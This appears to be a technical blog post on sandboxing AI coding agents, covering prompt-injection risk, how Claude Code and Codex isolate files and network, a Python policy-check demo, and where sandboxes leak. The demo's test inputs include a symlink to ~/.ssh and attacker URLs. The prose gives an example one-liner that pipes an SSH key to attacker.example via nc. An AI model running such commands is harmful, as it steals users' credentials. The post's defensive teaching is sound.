What is agent sandboxing? Isolating AI coding agents
Agent sandboxing limits which files an AI agent can touch and which hosts it can reach, enforced by the OS. How Claude Code and Codex do it, with a Python demo.

Agent sandboxing is running an AI agent’s commands inside an environment the operating system enforces, so the agent can only read and write files in approved directories and only connect to approved network hosts, whatever the model decides to do. It replaces approving every command by hand with fixed boundaries. Its job is to keep a confused or prompt-injected agent from damaging your machine or sending your data somewhere it shouldn’t go.
Why do AI agents need a sandbox?
Because a coding agent runs shell commands with your permissions and reads text you didn’t write. Issues, web pages, dependency READMEs and tool results can all carry instructions, and models follow instructions in content. Simon Willison’s lethal trifecta (June 2025) names the dangerous combination: access to private data, exposure to untrusted content, and the ability to communicate externally. If an agent has all three, he writes, an attacker can “easily trick it” into sending your private data to them. A coding agent on a laptop has all three by default: your SSH keys, a README from the internet, and curl.
The older answer is permission prompts. Anthropic’s post on Claude Code sandboxing (October 20, 2025) explains why that isn’t enough: Claude Code was read-only by default and asked before most actions, and constant approvals led to “approval fatigue”, where people stop reading what they approve. A sandbox moves the decision from “is this one command safe?” to “what is this agent allowed to touch at all?”, which you can answer once.
I wrote about the browser version of this problem in AI browsers and prompt injection; the deeper background is in what prompt injection is and the lethal trifecta.
How does agent sandboxing work?
Two boundaries, and you need both. Anthropic’s post is direct about it:
- Filesystem isolation. The agent can read and write the project directory and nothing else that matters. This stops a hijacked agent from editing your shell profile or reading
~/.ssh. - Network isolation. The agent can reach only approved hosts. This stops it from exfiltrating what it can read, or downloading malware.
Without network isolation, a compromised agent can send your SSH keys out. Without filesystem isolation, it can escape the sandbox, for example by editing a config that grants network access next time. One without the other is a speed bump.
The enforcement has to live below the agent. A check inside the agent’s own Python process can be bypassed by any subprocess it spawns; an OS-level sandbox covers every child process.
How do Claude Code and Codex sandbox agents?
Claude Code. The sandbox runtime is built on OS primitives: bubblewrap on Linux and seatbelt on macOS. Bash commands can read and write the current working directory but can’t modify files outside it. Network traffic goes through a Unix domain socket to a proxy outside the sandbox, which allows only approved domains and asks the user about new ones. Anthropic says sandboxing cut permission prompts by 84% in their internal use, and they open-sourced the runtime so other agents and MCP servers can use it. You turn it on with /sandbox.
Claude Code on the web goes further: each session runs in an isolated cloud sandbox, and git credentials never enter it. A proxy outside holds the real token, checks each git operation (for example, that a push targets the configured branch) and attaches the credential on the way out.
Codex. OpenAI’s approvals and security docs separate two settings. The sandbox mode says what Codex can technically do: read-only, or workspace-write, which limits writes to the active workspace. The approval policy says when it must stop and ask. Network access is off by default; you turn it on with network_access = true under [sandbox_workspace_write], and can restrict it further with a domain-allowlist proxy. In legacy Codex Cloud, the setup phase can install dependencies over the network, then the agent phase runs offline by default.
The shared design is worth noticing: both treat network access as the dangerous capability and default it off or narrow.
What does a sandbox policy check look like?
Here are the two checks as plain Python: a write check that resolves .. and symlinks before deciding, and a network check that matches hostnames exactly. This is the policy, not the enforcement; the point is to show the cases a naive check gets wrong.
# sandbox_policy.py: the two checks every agent sandbox makes, as plain Python.
# Python 3 standard library only. This is the policy, not the enforcement:
# real sandboxes enforce it in the OS (macOS seatbelt, Linux bubblewrap) or a VM.
import os, pathlib, tempfile
from urllib.parse import urlsplit
work = pathlib.Path(tempfile.mkdtemp()).resolve()
(work / "src").mkdir()
os.symlink(pathlib.Path.home() / ".ssh", work / "src" / "keys") # a planted symlink
ALLOWED_HOSTS = {"pypi.org", "files.pythonhosted.org", "github.com"}
def can_write(path):
real = (work / path).resolve() # follows ../ and symlinks before deciding
return real == work or work in real.parents
def can_connect(url):
host = urlsplit(url).hostname or ""
return host in ALLOWED_HOSTS # exact match: no suffix tricks
for p in ["src/app.py", "../.bashrc", "src/../../etc/hosts", "src/keys/id_ed25519"]:
print(f"write {p:<24} {'allow' if can_write(p) else 'DENY'}")
for u in ["https://pypi.org/simple/requests/", "https://github.com.evil.example/x",
"https://attacker.example/?d=c2VjcmV0", "https://user@github.com@evil.example/"]:
print(f"fetch {u:<40} {'allow' if can_connect(u) else 'DENY'}")
Output (Python 3.13.11):
write src/app.py allow
write ../.bashrc DENY
write src/../../etc/hosts DENY
write src/keys/id_ed25519 DENY
fetch https://pypi.org/simple/requests/ allow
fetch https://github.com.evil.example/x DENY
fetch https://attacker.example/?d=c2VjcmV0 DENY
fetch https://user@github.com@evil.example/ DENY
The interesting rows are the ones a string check would allow. src/keys/id_ed25519 looks like it’s inside the project, but keys is a symlink to ~/.ssh, so a check on the path text would let the agent write there. github.com.evil.example starts with an allowed name, and the last URL hides an allowed name in the userinfo part. Resolving the real path and parsing the real hostname handles all three.
What the script can’t show is enforcement. If the agent runs bash -c 'cat ~/.ssh/id_ed25519 | nc attacker.example 80', nothing in this Python process sees it. That’s why the real implementations live in seatbelt, bubblewrap, containers or VMs.
Where does sandboxing break?
Allowed hosts can still leak data. github.com is on most allowlists, and an agent that can push to GitHub or post a gist can move data out through it. Willison’s post makes the general point: vendors close specific exfiltration routes, but once you combine tools yourself, the routes are yours to close. An allowlist reduces the paths; it doesn’t make a trifecta safe.
Secrets inside the boundary. If your .env file sits in the project directory, the agent can read it, sandbox or not. Claude Code on the web keeps git credentials out of the sandbox entirely for this reason.
Escape hatches. Both products let a user approve an action outside the sandbox. That’s necessary, and it brings approval fatigue back if it happens often. Codex’s docs also note that where policy allows full sandbox escalation, an approved command can bypass the network proxy.
MCP servers and tools outside the sandbox. A sandboxed shell doesn’t constrain an MCP server running as a separate process with its own permissions. The MCP spec says tools represent arbitrary code execution; Anthropic’s runtime can wrap those servers too, but only if you set it up.
Weaker isolation than a VM. Process sandboxes share the host kernel. For untrusted code at scale, a container or microVM per task is the stronger boundary, at more setup cost.
What I would do
- Turn the built-in sandbox on.
/sandboxin Claude Code,workspace-writewith network off in Codex. Most coding tasks need neither your home directory nor the open internet. - Allowlist the network narrowly. Package registries and your git host, nothing else, and widen per task.
- Keep secrets out of the workspace. Use a secrets manager or environment injection at deploy time, not a
.envthe agent can read. Scope tokens to one repository with the least permission that works. - Use a fresh environment for anything untrusted. A dev container, a cloud sandbox or a disposable VM per task. This also pairs well with parallel agents in git worktrees.
- Break the trifecta deliberately. If an agent must read untrusted content and private data, take away its outbound channel; if it needs the network, keep private data out of reach. The sandbox is how you enforce that choice. This is a core part of harness engineering.
- Log what was denied. Denied writes and blocked hosts are the most useful security signal an agent produces.
FAQ
What is a sandbox for AI agents?
An OS-enforced boundary around the commands an agent runs: which directories it can read and write, and which network hosts it can reach. It applies to every subprocess, not only the agent’s own code.
Is a Docker container enough to sandbox an AI agent?
It’s a good start if you don’t mount your home directory or Docker socket into it and you restrict its network. A container shares the host kernel, so for untrusted code at scale a VM or microVM gives stronger isolation.
Does sandboxing stop prompt injection?
No. The model can still be tricked. Sandboxing limits what a tricked agent can do: Anthropic’s stated goal is that a compromised Claude Code “can’t steal your SSH keys, or phone home to an attacker’s server.”
Does Claude Code run in a sandbox by default?
As of Anthropic’s October 2025 post, the default is a permission model where Claude Code asks before edits and most commands, and the OS-level sandbox for its bash tool is switched on with /sandbox; Claude Code on the web runs each session in a cloud sandbox.
Sources
- Anthropic, Beyond permission prompts: making Claude Code more secure and autonomous, October 20, 2025
- anthropic-experimental, sandbox-runtime on GitHub
- OpenAI, Agent approvals and security (Codex docs, read 2026-10-31)
- Simon Willison, The lethal trifecta for AI agents, June 16, 2025
- Model Context Protocol specification, 2025-11-25
- containers/bubblewrap on GitHub